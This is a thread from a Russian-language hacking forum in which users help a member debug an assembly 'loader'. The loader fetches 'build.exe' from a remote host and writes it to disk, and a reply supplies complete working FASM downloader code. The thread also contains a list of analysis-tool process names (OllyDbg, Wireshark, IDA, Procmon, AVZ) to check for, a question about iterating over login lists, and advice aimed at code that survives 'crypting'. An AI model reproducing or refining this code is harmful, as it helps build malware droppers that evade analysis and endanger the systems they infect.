• XSS.stack #1 – первый литературный журнал от юзеров форума

Ассемблер Для Начинающих

13thCannabis для начала знание основ ассемблера,лу там базовые команды,назначение регистров итд .
затем уже определишься сам.надо оно тебе или нет. в любом случае, эти знания лишними НЕ БУДУТ.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не могу разобраться с поиском подстроки в строке, через команды Асма. Точнее как - работает поиск байтов и вордов в строке, но категорически не работают дворды. Весь код приводить не буду, наверное (там обычное скачивание ехе, код я скопипастил с темы про лоадер), а приведу лишь проблемный участок.

Как известно, конец хидеров обозначается r\n\r\n, т.е. 13,10,13,10 т.е. 0D0A0D0Ah.

Такой код работает нормально:

Код:
invoke recv,sock,addr buffer,sizeof buffer,0
cld
mov esi,offset buffer
mov ecx,sizeof buffer
    L1:
     lodsw
    cmp ax,0A0Dh
    je;если нашли, что-то делаем
    loop L1

Ровно как и такой
Код:
lea edi,buffer
mov ax,0A0Dh
mov ecx,sizeof buffer
 cld
repne scasw

Но стоит заменить все на дворды - не работает нифига.
Код:
cld
mov esi,offset buffer
mov ecx,sizeof buffer
    L1:
     lodsd
    cmp eax,0D0A0D0Ah
    je;если нашли, что-то делаем
    loop L1

Код:
lea edi,buffer
mov eax,0D0A0D0Ah
mov ecx,sizeof buffer
 cld
repne scasd

я пишу mov eax,0D0A0D0Ah , ну и меняю команды на lodsd,scasd, но все равно не работает, строка не ищется. Может я не так указал значение в еах? Но вроде брал с отладчика + менял уже разные вариации (например 0A0D0A0Dh ), толку 0.

Отладчик ничего не показывает, вроде байты копируются..

Или может дело в том, что такого дворда и вовсе нет, а 13,10 раскидано по разным двордам?
 
побайтово ищи. самый верняк. раскидает конечно же)

Добавлено в [time]1341675119[/time]
пруф;

Код:
...

; вырезаем заголовок
      @@:
      	lodsb
      	.IF	(al == 0Ah) && \
        (byte ptr [esi] == 0Dh) && \
        (byte ptr [esi + 1] == 0Ah)
        lodsw
      	.ELSE
        jmp	@B
      	.ENDIF


...
 
Quake3
то что у тебя с вордами работает считай чудом, объясню почему, когда ты заряжаешь регистры и начинаешь искать с помощью repne scasw идет поиск с шагом в два байта, при поиске repne scasd шаг четыре байта. т.е. получается, для нормального поиска ты должен сканировать по одному байту и при совпадении проверять последующие.
 
Rev0Lt
не еби мозга с этими макросами, и чаще в конфочку заходи.
Код:
lea esi,pHTTPHeader
@@:
lodsb
test al,al
jz @gavno
cmp al,0Dh
jnz @b
cmp word ptr [esi+1],0A0Dh
jnz @b
; тут мы поймали конец хедера, т.е. 0d0a0d0a
@gavno:
....
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Rev0Lt accwranadm спасибо за помощь.
Еще последний вопрос - не могу понять, как записать данные из буфера? Как я понимаю, esi указывает на 0Ah, т.е. чтобы перейти непосредственно к ехе файлу (который идет после хидеров), следует add esi,3.
Но когда я передаю esi (который указывает на буфер с данными, конкретно на данные после заголовков), в файл пишется какая-то ерунда.

Код:
invoke recv,sock,addr buffer,sizeof buffer,0
cld
mov esi,offset buffer

@@:
lodsb
 cmp al,0Dh
 jnz @b
cmp word ptr [esi+1],0A0Dh
jz GF;get file 
jmp @b

GF:
add esi,3;указатель на MZ...
invoke _lcreat,chr$("1.exe"),0
invoke _lwrite,eax,esi,sizeof buffer
invoke _lclose,fh
Эти функции я использую, ибо они проще и компактней, чем CreateFile.


upd. Проверил, вообще какая-то фигня. В буфер сокета пишутся заголовки и ехе данные, но при записи в файл ехе данные превращаются в нули. Что это такое и что с этим делать? Попробовал взять функции с CRT(бинарная запись), не помогло.

Вот так это выглядит, т.е. хидеры есть, а потом вместо норм. данных идет ерунда.
5cdf21bd7ded8abce0c49df6b2488b23.jpg
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какая-то мистика..файл с хидерами нормально пишется на диск, без них - пишутся нули. Вот полный код, мб кто-то увидит ошибку? В олли данные отображаются нормально.

Код:
.386                      
.model flat, stdcall      
option casemap :none  
    

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32, masm32, user32, ws2_32, msvcrt

includelib \masm32\lib\irvine32.lib

.data
wsa WSADATA <>
saddr sockaddr_in <>
sock dword 0
buffer db 5200 dup (0)

gate db "/file/build.exe",0
host db "loader.my",0



request db "GET %s HTTP/1.0",0dh,0ah
  db "Host: %s",0dh,0ah
  db "Connection: Close",0dh,0ah,0dh,0ah,0
  
fh dd 0
.code
start:
Invoke WSAStartup,101h,addr wsa
.if eax==NO_ERROR
	Invoke socket,PF_INET,SOCK_STREAM,0
	.if eax!=SOCKET_ERROR
  mov sock,eax
     Invoke gethostbyname,offset host
	.if eax!=0
  mov eax,[eax+12];элемент структуры, в котором указатель на указатель
  mov eax,[eax]
  mov eax,[eax]
  mov saddr.sin_addr,eax
  invoke htons,80
  mov saddr.sin_port,ax
  mov saddr.sin_family,AF_INET
  Invoke connect,sock,addr saddr,sizeof saddr
  .if eax!=SOCKET_ERROR
  	Invoke wsprintf,addr buffer,addr request,addr gate,addr host
  	Invoke lstrlen,addr buffer
  	Invoke send,sock,addr buffer,eax,0
  .endif
  
	invoke recv,sock,addr buffer,sizeof buffer,0
	

  cld
  mov esi,offset buffer
  mov ecx,sizeof buffer
           
  @@:
  lodsb
                cmp al,0Dh
                jnz @b
                cmp word ptr [esi+1],0A0Dh
                jz GF
           jmp @b
  
  exit
  
            
GF:


           add esi,3

            
            invoke crt_fopen,chr$("2.exe"),chr$("wb")
            mov fh,eax
            invoke crt_fwrite,esi,sizeof buffer,1,fh    
            invoke crt_fclose,fh
  exit


ИЛИ ТАК:

            invoke _lcreat,chr$("1.txt"),0
            mov fh,eax
            invoke _lwrite,eax,esi,sizeof buffer    
            invoke _lclose,fh
  exit
ИЛИ ЧЕРЕЗ Create|WriteFile, итог один.
  
	.endif
	invoke shutdown,sock,SD_BOTH
	Invoke closesocket,sock
	.endif
	Invoke WSACleanup
.endif
Invoke ExitProcess,0	
end start
 
Вот применимо к твоему коду,конечно не блещет,но работает.

Код:
format PE GUI 4.0
                     
  include 'INCLUDE\win32a.inc'
                     
                     
          saddr      sockaddr_in
          sock                 dd ?
          hFile                dd ?
          bytes                dd ?
          buffer               db 1024 dup (?)
                     
          gate                 db '/out.php?link=b83e00ac2eec094fd4179b6a85547171_66279_957759a70c2a2f239577107313e1bc34',0
          host                 db 'www.mycont.org',0
          files                db 'sozhzhnnaya_vedma.mp3',0
                     
                     
          request              db 'GET %s HTTP/1.0',13,10,"Host: %s",13,10,'Connection: Close',13,10,13,10,0
                     
                     
                     
                     
                     
entry $
                     
          call       Initialize
          test       eax,eax
          jne        .exit
          invoke     socket,PF_INET,SOCK_STREAM,0
          test       eax,eax
          je         .clean_exit
          mov        [sock],eax
          stdcall    NetResolve,host
          test       eax,eax
          je         .clean_exit
          mov        [saddr.sin_addr],eax
          invoke     htons,80
          mov        [saddr.sin_port],ax
          mov        [saddr.sin_family],AF_INET
          invoke     connect,[sock],saddr,sizeof.sockaddr_in
          inc        eax
          je         .shtdown
          stdcall    SendReply,[sock],request,gate,host,0
          inc        eax
          je         .shtdown
          dec        eax
          invoke     recv,[sock],buffer,1024,0
          inc        eax
          je         .shtdown
          dec        eax
          test       eax,eax
          je         .shtdown
          mov        ebx,eax
          mov        esi,buffer
          mov        edi,esi
  @@:        
          lodsb      
          test       al,al
          jz         @f
          cmp        al,0Dh
          jnz        @b
          cmp        word [esi+1],0A0Dh
          jnz        @b
                     
  @@:        
          add        esi,3
          mov        ecx,esi
          sub        ecx,edi
          sub        ebx,ecx
          invoke     CreateFileA,files,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
          inc        eax
          je         .shtdown
          dec        eax
          mov        [hFile],eax
    .next:     
          invoke     WriteFile,[hFile],esi,ebx,bytes,0
          test       eax,eax
          je         .close
          cmp        [bytes],ebx
          jne        .close
          mov        esi,edi
          invoke     recv,[sock],esi,1024,0
          inc        eax
          je         .close
          dec        eax
          test       eax,eax
          je         .close
          mov        ebx,eax
          jmp        .next
    .close:    
          invoke     CloseHandle,[hFile]
    .shtdown:  
          invoke     shutdown,[sock],0
          invoke     closesocket,[sock]
                     
    .clean_exit: 
          invoke     WSACleanup
    .exit:     
          ret        
                     
                     
;--------------------------------------------------------------------------------; 
; [SendReply]
;--------------------------------------------------------------------------------; 
                     
  proc SendReply uses esi,sock,arg1,arg2,arg3,arg4
    locals 
          szTemp               db 260*4 dup (?)
    endl 
          lea        esi,[szTemp]
          cinvoke    wsprintf,esi,[arg1],[arg2],[arg3],[arg4]
          invoke     send,[sock],esi,eax,0
          ret        
  endp    
                     
                     
                     
;--------------------------------------------------------------------------------; 
; [Initialize]
;--------------------------------------------------------------------------------; 
                     
  proc Initialize
    locals 
          wsad       WSADATA
    endl 
          invoke     WSAStartup,101h,addr wsad
          ret        
  endp    
                     
                     
;--------------------------------------------------------------------------------; 
; [NetResolve]
;--------------------------------------------------------------------------------; 
                     
  proc NetResolve lpHost
          invoke     gethostbyname,[lpHost]
          or         eax,eax
          jz         .exit
          mov        eax,[eax+12]
          mov        eax,[eax]
          mov        eax,[eax]
    .exit:     
          ret        
  endp    
                     
                     
                     
                     
data import
                     
  library kernel32,'KERNEL32.DLL',\
          advapi32,'ADVAPI32.DLL',\ 
user32,    'USER32.DLL',\
          wsock32,'WSOCK32.DLL' 
                     
                     
                     
  include 'include\APIA\kernel32.inc'
  include 'include\APIA\advapi32.inc'
  include 'include\APIA\WSOCK32.INC'
  include 'include\APIA\USER32.inc'
                     
end data   
              

Нужно конечно делать проверки на ответы сервера,но тут уже дело техники.
 
Quake3 конкретно твой случай, бывает так что сервер сначала посылает хедер, потом данные. заголовок ты принимаешь в первом (и единственном) recv. а цикл где? сервер может тебе вообще по одному байту будет посылать файл.
В олли данные отображаются нормально.
это потому, что между запросом (первый send) и до момента принятия данных ты несколько секунд жмешь ф8, этой задержки достаточно чтобы сервер отправил остальные данные и твой WinSock бережно уложил их в приемный буфер. и тут ты такой доходишь до recv и видишь что все ништяк. в рантайме как ты наверное уже понял все происходит гораздо быстрее и ты получаешь только заголовок т.к. сервер еще не успел отправить данные либо они еще не долетели. тебе нужен цикл, как в примере от salamandra
Код:
.next:    
         invoke     WriteFile,[hFile],esi,ebx,bytes,0
         test       eax,eax
         je         .close
         cmp        [bytes],ebx
         jne        .close
         mov        esi,edi
         invoke     recv,[sock],esi,1024,0
         inc        eax
         je         .close
         dec        eax
         test       eax,eax
         je         .close
         mov        ebx,eax
         jmp        .next
 
И lstrlen после wsprintf тоже делать не надо.
если речь идет о функе из user32.dll, то не надо, количество символов (без завершающего нуля) вернется в eax после вызова.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как в масме удобней всего работать со списками(имею ввиду массивы байт)? Нет ли каких-то макросов или функций?

Задача такая - есть строковые данные вида
db "test1",0
db "test2",0
db "test3",0
и так далее. Надо в цикле перебирать их и сравнивать с другой строкой (например, поиск процесса). Я пока делаю примерно так:

Код:
;сами данные
av1 db "ollyd",0
av2 db "wires",0
av3 db "ida",0
av4 db "procm",0
av5 db "avz",0

;указатели на них
pav1 dd offset av1
pav2 dd offset av2
pav3 dd offset av3
pav4 dd offset av4
pav5 dd offset av5
Далее заношу в какой-то из регистров (например, edi) - 0. И сравниваю в цикле, передавая в функцию вида lstrcmp адрес по типу [pav1+edi], каждый раз увеличивая регистр на 4. Т.е. суть такова - сначала указывает на первый параметр [pav1+0], потом на второй [pav1+4], и так далее.
Есть ли решение получше, или и так нормально?
 
Quake3
Можно исходный массив предварительно отсортировать (или обработать иным способом), а затем например использовать бинарный поиск (или другой алгоритм), возможно это даже даст выигрыш, если уж ты ищешь много процессов в текущем списке процессов. Мне кажется, на необработанном массиве без O(n) (доступ к каждому элементу) ты не обойдешься.

Когда возникает вопрос "как лучше это сделать на асме", я бы посоветовал попробовать подсмотреть, как это сделает компилятор, напр. Си :) Это может тебе что-либо подсказать.
Вот пример, исходный вариант:
Код:
#include <stdio.h>
#include <string.h>

int main()
{
  char * haystack[] = {"test1", "test2", "test3"};
  char * needle = "test2";
  unsigned short int i;
  for(i=0; i < 3; i++) // можно и i < (sizeof(haystack)/sizeof(char*))
  {
    if (!strcmp(haystack[i], needle))
    {
      printf("found at %u!", i+1);
      break;
    }

  }
  return 0;
}
gcc, без оптимизации по размеру: http://pastebin.com/KtM3fRZv
С -Os: http://pastebin.com/sxyUdGbt

Как видишь, примерно так и откомпилировалось (собсно, как и написал в с, неудивительно; смотреть можно с адреса 0x8048503) - такое же "прыгание" по массиву указателей на строки (как и написано в c-коде).
Возможно ты искал нечто подобное: http://coding.derkeiler.com/Archive/Assemb...0/msg00390.html
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите еще по такому вопросу - как лучше всего сделать построчное чтение из файла на чистом WinApi?

Т.е. например есть в файле список логинов или еще чего, и надо их по очереди обрабатывать - как быть и реально ли это вообще? В РНР есть готовая функция fgets, на Си можно читать по символу, пока не встретишь перевод строки - но в Масме всего этого нет. А в ReadFile хз как, если там читать по 1 символу, то наверное программа будет медленной и нерациональной. Или надо считывать весь файл в буфер и там уже парсить? Но если файл большой, тогда это тоже не вариант.
 
Quake3 пишет:
В РНР есть готовая функция fgets, на Си можно читать по символу, пока не встретишь перевод строки - но в Масме всего этого нет.
Ты еще юный п0даван в кодинге, чтобы утверждать, что там есть, а чего нет...
Думай, прежде чем что-то утверждать (при условии, что ты даже понятия не имеешь о сущности кодинга), так как некоторые "читатели" ведутся на репу и воспринимают написанное за чистую монету.
Берем пример кода из РНР:
Код:
<?php
$handle = @fopen("/tmp/inputfile.txt", "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo $buffer;
    }
    if (!feof($handle)) {
        echo "Error: unexpected fgets() fail\n";
    }
    fclose($handle);
}
?>
А вот так это будет на C++: (косвенно)
Код:
#include <windows.h>
#include <stdio.h>

int __cdecl main( void )
{
   FILE *handle;
   char buffer[256];
	
   // не забудь создать на диске «C» тестовый файл inputfile.txt
   handle = fopen("C:\\inputfile.txt", "r" );
   if(handle)
   {
       while(fgets(buffer, 256, handle))
       {
          MessageBox(NULL, buffer, "Test", MB_OK);
       }
       fclose(handle);
   }
}
Естественно такой же код можно и на MASM32 написать, так как fopen, fgets итд. юзаются из msvcrt, которая доступна из всех версий виндовс, и если мне память не изменяет, то прототипы этих функций есть и в пакете MASM32 (msvcrt.inc)
Код:
externdef _imp__fgets:PTR c_msvcrt
crt_fgets equ <_imp__fgets>
Там я помню все через задницу сделано, но решается все очень просто (при условии, если подумать немного)
Вот пример ASM кода: (из отладчика)
Код:
00401000     55              PUSH EBP
00401001     8BEC            MOV EBP,ESP
00401003     81EC 00010000   SUB ESP,100
00401009     53              PUSH EBX
0040100A     68 34204000     PUSH 00402034                             ; ASCII "r"
0040100F     68 20204000     PUSH 00402020                             ; ASCII "C:\inputfile.txt"
00401014     FF15 08204000   CALL DWORD PTR DS:[<&msvcrt.fopen>]       ; msvcrt.fopen
0040101A     8BD8            MOV EBX,EAX
0040101C     85DB            TEST EBX,EBX
0040101E     59              POP ECX
0040101F     59              POP ECX
00401020     74 41           JE SHORT 00401063
00401022     56              PUSH ESI
00401023     8B35 0C204000   MOV ESI,DWORD PTR DS:[<&msvcrt.fgets>]    ; msvcrt.fgets
00401029     57              PUSH EDI
0040102A     BF 00010000     MOV EDI,100
0040102F     EB 16           JMP SHORT 00401047
00401031     6A 00           PUSH 0
00401033     68 18204000     PUSH 00402018                             ; ASCII "Test"
00401038     8D85 00FFFFFF   LEA EAX,DWORD PTR SS:[EBP-100]
0040103E     50              PUSH EAX
0040103F     6A 00           PUSH 0
00401041     FF15 00204000   CALL DWORD PTR DS:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA
00401047     53              PUSH EBX
00401048     8D85 00FFFFFF   LEA EAX,DWORD PTR SS:[EBP-100]
0040104E     57              PUSH EDI
0040104F     50              PUSH EAX
00401050     FFD6            CALL ESI
00401052     83C4 0C         ADD ESP,0C
00401055     85C0            TEST EAX,EAX
00401057     75 D8           JNZ SHORT 00401031
00401059     53              PUSH EBX
0040105A     FF15 10204000   CALL DWORD PTR DS:[<&msvcrt.fclose>]      ; msvcrt.fclose
00401060     59              POP ECX
00401061     5F              POP EDI
00401062     5E              POP ESI
00401063     33C0            XOR EAX,EAX
00401065     5B              POP EBX
00401066     C9              LEAVE
00401067     C3              RETN

Quake3 пишет:
А в ReadFile хз как, если там читать по 1 символу, то наверное программа будет медленной и нерациональной. Или надо считывать весь файл в буфер и там уже парсить? Но если файл большой, тогда это тоже не вариант.
При условии если файл не будет изменяться в размере, то можно (или нужно) маппить - "размер не имеет значения"
Короче, твои вопросы как обычно гугляцца на раз-два...
Если ты будешь работать с файлом, к примеру, размер которого более 3-4 гигов, то даже если ты будешь юзать код, который работает на прямую с железом (например, с жестким диском) - в любом случае это будет "медленно" (из-за объема обрабатываемых данных), а если учесть тот факт, что файл может находиться на флешке, которая имеет интерфейс USB менее чем.. то скорость будет еще медленнее - все зависит от железа напрямую, да и вообще поменьше бери в рот дурного с васма...
Сейчас проще докупить одну "панельку памяти", чем искать еще одного быдло-кодера для "оптимизации кода", а если учесть с какой скоростью растут апгрейды железа, то это всегда будет дешевле...
Твоя задача писать код, который будет компактным, будет работать везде, начиная с XP и до.. и пре крипте не будет создавать проблем....
 
Пожалуйста, обратите внимание, что пользователь заблокирован
KraZz , спасибо за ответ, про msvcrt я как-то забыл.
Единственное (оффтоп).
1.
Думай, прежде чем что-то утверждать (при условии, что ты даже понятия не имеешь о сущности кодинга), так как некоторые "читатели" ведутся на репу и воспринимают написанное за чистую монету.
Да ладно, какая у меня тут репутация? И какой, извини, идиот поведется на мои посты (99% тупых вопросов) и будет считать меня гуру?
да и вообще поменьше бери в рот дурного с васма...
В который раз ты в обращении ко мне упоминаешь васм. Если не секрет, чем он тебе так дался, что плохого идет с васма? Если не хочешь тут, напиши в личку, но интересно, чем может вредить посещение васма.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нашел где-то в инете пример создание сервера на сокетах. Вроде все ясно, кроме некоторых моментов - зачем вводится переменная csock? Зачем два сокета, почему не достаточно одного? Или код писал нуб, или я чего-то не понимаю.

Код:
.386
.model flat,stdcall
option casemap:none
include \masm32\INCLUDE\WINDOWS.INC
include \masm32\INCLUDE\KERNEL32.INC 
include \masm32\INCLUDE\USER32.INC
include \masm32\INCLUDE\ADVAPI32.INC 
include \masm32\INCLUDE\ws2_32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\kernel32.lib 
includelib \masm32\lib\user32.lib
includelib \masm32\lib\advapi32.lib 
includelib \masm32\LIB\ws2_32.lib
;###########################################################
;data--data--data--data--data--data--data--data--data--data-- PROC
;------------------------------------------------------------
.DATA
dest db 256 dup (0)
source db 256 dup (0)
comand db 256 dup (0)
wsadata WSADATA <0>
ssock DWORD 0
saddrs sockaddr_in <0>
csock DWORD 0
recv_buf db 1024 dup (0)
;returned DWORD 0
;##############################################################
;code--code--code--code--code--code--code--code--code--code-- PROC
;---------------------------------------------------------------------------------------------------
.CODE
START: 
;------сеть
invoke WSAStartup, 202h,offset wsadata;стартуем винсок
cmp eax,-1;если ошиблись
je EXIT;выходим
invoke socket, AF_INET, SOCK_STREAM, 0;создаем соект
cmp eax,-1;если ошиблись
je EXIT; выходим
mov ssock,eax; если еще не вышли, т.е. не было ошибок - запоминаем сокет
;-------заполняем адресную структуру
mov saddrs.sin_family,AF_INET; работать будем с интернетом
invoke htons,8080;80 порт. располгаем айты в сетевом порядке
mov saddrs.sin_port,ax;переносим результат в порт адресной структуры
invoke bind,ssock,offset saddrs,SIZEOF sockaddr_in;связываем сокет с локальным адресом
cmp eax,-1;если ошиблись
je EXIT; выходим
invoke listen,ssock,10;слушаем сокет
cmp eax,-1; опять: если ошиблись...
je EXIT;..выходим
invoke accept,ssock, 0, 0; принимаем соединение
cmp eax,-1; ели ошибка
je EXIT; выход
mov csock,eax; если не вышли, те. не было ошибки - запоминаем сокет
invoke recv,csock,offset recv_buf,1024,0; получаем 1024 байта
invoke MessageBox,0,offset recv_buf,0,MB_OK; показываем что получили
invoke closesocket,csock
invoke closesocket,ssock
invoke WSACleanup
EXIT: 
invoke ExitProcess , 0
;++++++++++++++++++++++++++++++++++++++++++++
END START
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх